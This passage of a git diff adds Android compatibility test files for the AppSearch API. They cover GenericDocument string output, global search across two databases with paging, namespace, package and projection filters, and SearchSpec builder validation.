+        assertThat(document.getPropertyDocumentArray("documentKey1"))
+                .asList()
+                .containsExactly(sDocumentProperties1, sDocumentProperties2);
+    }
+
+    @Test
+    public void testDocument_toString() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString("stringKey1", "String1", "String2", "String3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        String exceptedString =
+                "{ key: 'creationTimestampMillis' value: 5 } "
+                        + "{ key: 'namespace' value:  } "
+                        + "{ key: 'properties' value: "
+                        + "{ key: 'booleanKey1' value: [ 'true' 'false' 'true' ] } "
+                        + "{ key: 'byteKey1' value: "
+                        + "{ key: 'byteArray' value: [ '1' '2' '3' ] } "
+                        + "{ key: 'byteArray' value: [ '4' '5' '6' '7' ] }  } "
+                        + "{ key: 'documentKey1' value: [ '"
+                        + "{ key: 'creationTimestampMillis' value: 12345 } "
+                        + "{ key: 'namespace' value:  } "
+                        + "{ key: 'properties' value:  } "
+                        + "{ key: 'schemaType' value: sDocumentPropertiesSchemaType1 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: sDocumentProperties1 } ' '"
+                        + "{ key: 'creationTimestampMillis' value: 6789 } "
+                        + "{ key: 'namespace' value:  } "
+                        + "{ key: 'properties' value:  } "
+                        + "{ key: 'schemaType' value: sDocumentPropertiesSchemaType2 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: sDocumentProperties2 } ' ] } "
+                        + "{ key: 'doubleKey1' value: [ '1.0' '2.0' '3.0' ] } "
+                        + "{ key: 'longKey1' value: [ '1' '2' '3' ] } "
+                        + "{ key: 'stringKey1' value: [ 'String1' 'String2' 'String3' ] }  } "
+                        + "{ key: 'schemaType' value: schemaType1 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: uri1 } ";
+        assertThat(document.toString()).isEqualTo(exceptedString);
+    }
+
+    @Test
+    public void testDocumentGetValues_differentTypes() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setScore(1)
+                        .setPropertyLong("longKey1", 1L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .build();
+
+        // Get a value for a key that doesn't exist
+        assertThat(document.getPropertyDouble("doubleKey1")).isEqualTo(0.0);
+        assertThat(document.getPropertyDoubleArray("doubleKey1")).isNull();
+
+        // Get a value with a single element as an array and as a single value
+        assertThat(document.getPropertyLong("longKey1")).isEqualTo(1L);
+        assertThat(document.getPropertyLongArray("longKey1")).asList().containsExactly(1L);
+
+        // Get a value with multiple elements as an array and as a single value
+        assertThat(document.getPropertyString("stringKey1")).isEqualTo("test-value1");
+        assertThat(document.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+
+        // Get a value of the wrong type
+        assertThat(document.getPropertyDouble("longKey1")).isEqualTo(0.0);
+        assertThat(document.getPropertyDoubleArray("longKey1")).isNull();
+    }
+
+    @Test
+    public void testDocumentInvalid() {
+        GenericDocument.Builder<?> builder = new GenericDocument.Builder<>("uri1", "schemaType1");
+        expectThrows(
+                IllegalArgumentException.class,
+                () -> builder.setPropertyBoolean("test", new boolean[] {}));
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
new file mode 100644
index 0000000..9b17816
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
@@ -0,0 +1,635 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.util.concurrent.ListenableFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+public abstract class GlobalSearchSessionCtsTestBase {
+    private AppSearchSessionShim mDb1;
+    private static final String DB_NAME_1 = AppSearchManager.DEFAULT_DATABASE_NAME;
+    private AppSearchSessionShim mDb2;
+    private static final String DB_NAME_2 = "testDb2";
+
+    private GlobalSearchSessionShim mGlobalAppSearchManager;
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName);
+
+    protected abstract ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSession();
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+
+        mDb1 = createSearchSession(DB_NAME_1).get();
+        mDb2 = createSearchSession(DB_NAME_2).get();
+
+        // Cleanup whatever documents may still exist in these databases. This is needed in
+        // addition to tearDown in case a test exited without completing properly.
+        cleanup();
+
+        mGlobalAppSearchManager = createGlobalSearchSession().get();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        cleanup();
+    }
+
+    private void cleanup() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    private List<GenericDocument> snapshotResults(String queryExpression, SearchSpec spec)
+            throws Exception {
+        SearchResultsShim searchResults = mGlobalAppSearchManager.search(queryExpression, spec);
+        return convertSearchResultsToDocuments(searchResults);
+    }
+
+    /**
+     * Asserts that the union of {@code addedDocuments} and {@code beforeDocuments} is exactly
+     * equivalent to {@code afterDocuments}. Order doesn't matter.
+     *
+     * @param beforeDocuments Documents that existed first.
+     * @param afterDocuments The total collection of documents that should exist now.
+     * @param addedDocuments The collection of documents that were expected to be added.
+     */
+    private void assertAddedBetweenSnapshots(
+            List<? extends GenericDocument> beforeDocuments,
+            List<? extends GenericDocument> afterDocuments,
+            List<? extends GenericDocument> addedDocuments) {
+        List<GenericDocument> expectedDocuments = new ArrayList<>(beforeDocuments);
+        expectedDocuments.addAll(addedDocuments);
+        assertThat(afterDocuments).containsExactlyElementsIn(expectedDocuments);
+    }
+
+    @Test
+    public void testGlobalQuery_oneInstance() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+        List<GenericDocument> beforeBodyEmailDocuments =
+                snapshotResults("body email", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, Collections.singletonList(inEmail));
+
+        // Multi-term query
+        List<GenericDocument> afterBodyEmailDocuments =
+                snapshotResults("body email", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyEmailDocuments,
+                afterBodyEmailDocuments,
+                Collections.singletonList(inEmail));
+    }
+
+    @Test
+    public void testGlobalQuery_twoInstances() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document to instance 1.
+        AppSearchEmail inEmail1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail1).build()));
+
+        // Index a document to instance 2.
+        AppSearchEmail inEmail2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail2).build()));
+
+        // Query across all instances
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, ImmutableList.of(inEmail1, inEmail2));
+    }
+
+    @Test
+    public void testGlobalQuery_getNextPage() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        List<AppSearchEmail> emailList = new ArrayList<>();
+        PutDocumentsRequest.Builder putDocumentsRequestBuilder = new PutDocumentsRequest.Builder();
+
+        // Index 31 documents
+        for (int i = 0; i < 31; i++) {
+            AppSearchEmail inEmail =
+                    new AppSearchEmail.Builder("uri" + i)
+                            .setFrom("from@example.com")
+                            .setTo("to1@example.com", "to2@example.com")
+                            .setSubject("testPut example")
+                            .setBody("This is the body of the testPut email")
+                            .build();
+            emailList.add(inEmail);
+            putDocumentsRequestBuilder.addGenericDocuments(inEmail);
+        }
+        checkIsBatchResultSuccess(mDb1.put(putDocumentsRequestBuilder.build()));
+
+        // Set number of results per page is 7.
+        int pageSize = 7;
+        SearchResultsShim searchResults =
+                mGlobalAppSearchManager.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultCountPerPage(pageSize)
+                                .build());
+        List<GenericDocument> documents = new ArrayList<>();
+
+        int pageNumber = 0;
+        List<SearchResult> results;
+
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            ++pageNumber;
+            for (SearchResult result : results) {
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+
+        // check all document presents
+        assertAddedBetweenSnapshots(beforeBodyDocuments, documents, emailList);
+
+        int totalDocuments = beforeBodyDocuments.size() + documents.size();
+
+        // +1 for final empty page
+        int expectedPages = (int) Math.ceil(totalDocuments * 1.0 / pageSize) + 1;
+        assertThat(pageNumber).isEqualTo(expectedPages);
+    }
+
+    @Test
+    public void testGlobalQuery_acrossTypes() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        SearchSpec exactEmailSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterSchemas(AppSearchEmail.SCHEMA_TYPE)
+                        .build();
+        List<GenericDocument> beforeBodyEmailDocuments =
+                snapshotResults("body", exactEmailSearchSpec);
+
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("foo")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+
+        // db1 has both "Generic" and "builtin:Email"
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(genericSchema)
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .build())
+                .get();
+
+        // db2 only has "builtin:Email"
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a generic document into db1
+        GenericDocument genericDocument =
+                new GenericDocument.Builder<>("uri2", "Generic")
+                        .setPropertyString("foo", "body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(genericDocument)
+                                .build()));
+
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+
+        // Put the email in both databases
+        checkIsBatchResultSuccess(
+                (mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build())));
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+
+        // Query for all documents across types
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments,
+                afterBodyDocuments,
+                ImmutableList.of(genericDocument, email, email));
+
+        // Query only for email documents
+        List<GenericDocument> afterBodyEmailDocuments =
+                snapshotResults("body", exactEmailSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyEmailDocuments, afterBodyEmailDocuments, ImmutableList.of(email, email));
+    }
+
+    @Test
+    public void testGlobalQuery_namespaceFilter() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        SearchSpec exactNamespace1SearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterNamespaces("namespace1")
+                        .build();
+        List<GenericDocument> beforeBodyNamespace1Documents =
+                snapshotResults("body", exactNamespace1SearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail document1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(document1).build()));
+
+        AppSearchEmail document2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(document2).build()));
+
+        // Query for all namespaces
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, ImmutableList.of(document1, document2));
+
+        // Query only for "namespace1"
+        List<GenericDocument> afterBodyNamespace1Documents =
+                snapshotResults("body", exactNamespace1SearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyNamespace1Documents,
+                afterBodyNamespace1Documents,
+                ImmutableList.of(document1));
+    }
+
+    @Test
+    public void testGlobalQuery_packageFilter() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec otherPackageSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterPackageNames("some.other.package")
+                        .build();
+        List<GenericDocument> beforeOtherPackageDocuments =
+                snapshotResults("body", otherPackageSearchSpec);
+
+        SearchSpec testPackageSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterPackageNames(
+                                ApplicationProvider.getApplicationContext().getPackageName())
+                        .build();
+        List<GenericDocument> beforeTestPackageDocuments =
+                snapshotResults("body", testPackageSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail document1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(document1).build()));
+
+        AppSearchEmail document2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(document2).build()));
+
+        // Query in some other package
+        List<GenericDocument> afterOtherPackageDocuments =
+                snapshotResults("body", otherPackageSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeOtherPackageDocuments, afterOtherPackageDocuments, Collections.emptyList());
+
+        // Query within our package
+        List<GenericDocument> afterTestPackageDocuments =
+                snapshotResults("body", testPackageSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeTestPackageDocuments,
+                afterTestPackageDocuments,
+                ImmutableList.of(document1, document2));
+    }
+
+    // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+    @Test
+    public void testGlobalQuery_projectionTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Query with type property paths {"Email", ["subject", "to"]}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGlobalQuery_projectionEmptyTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Query with type property paths {"Email", []}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                                .build());
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGlobalQuery_projectionNonExistentTypeTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
new file mode 100644
index 0000000..0ed7987
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.SearchSpec;
+
+import org.junit.Test;
+
+public class SearchSpecCtsTest {
+    @Test
+    public void buildSearchSpecWithoutTermMatchType() {
+        RuntimeException e =
+                expectThrows(
+                        RuntimeException.class,
+                        () -> new SearchSpec.Builder().addFilterSchemas("testSchemaType").build());
+        assertThat(e).hasMessageThat().contains("Missing termMatchType field");
+    }
+
+    @Test
+    public void testBuildSearchSpec() {
+        SearchSpec searchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                        .addFilterNamespaces("namespace1", "namespace2")
+                        .addFilterSchemas("schemaTypes1", "schemaTypes2")
+                        .addFilterPackageNames("package1", "package2")
+                        .setSnippetCount(5)
+                        .setSnippetCountPerProperty(10)
+                        .setMaxSnippetSize(15)
+                        .setResultCountPerPage(42)
+                        .setOrder(SearchSpec.ORDER_ASCENDING)
+                        .setRankingStrategy(SearchSpec.RANKING_STRATEGY_DOCUMENT_SCORE)
+                        .build();
+
+        assertThat(searchSpec.getTermMatch()).isEqualTo(SearchSpec.TERM_MATCH_PREFIX);
+        assertThat(searchSpec.getFilterNamespaces())
+                .containsExactly("namespace1", "namespace2")
+                .inOrder();
+        assertThat(searchSpec.getFilterSchemas())
+                .containsExactly("schemaTypes1", "schemaTypes2")
+                .inOrder();
+        assertThat(searchSpec.getFilterPackageNames())
+                .containsExactly("package1", "package2")
+                .inOrder();
+        assertThat(searchSpec.getSnippetCount()).isEqualTo(5);
+        assertThat(searchSpec.getSnippetCountPerProperty()).isEqualTo(10);
+        assertThat(searchSpec.getMaxSnippetSize()).isEqualTo(15);
+        assertThat(searchSpec.getResultCountPerPage()).isEqualTo(42);
+        assertThat(searchSpec.getOrder()).isEqualTo(SearchSpec.ORDER_ASCENDING);
+        assertThat(searchSpec.getRankingStrategy())
+                .isEqualTo(SearchSpec.RANKING_STRATEGY_DOCUMENT_SCORE);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/SetSchemaResponseCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/SetSchemaResponseCtsTest.java
new file mode 100644
index 0000000..2dff27b
--- /dev/null
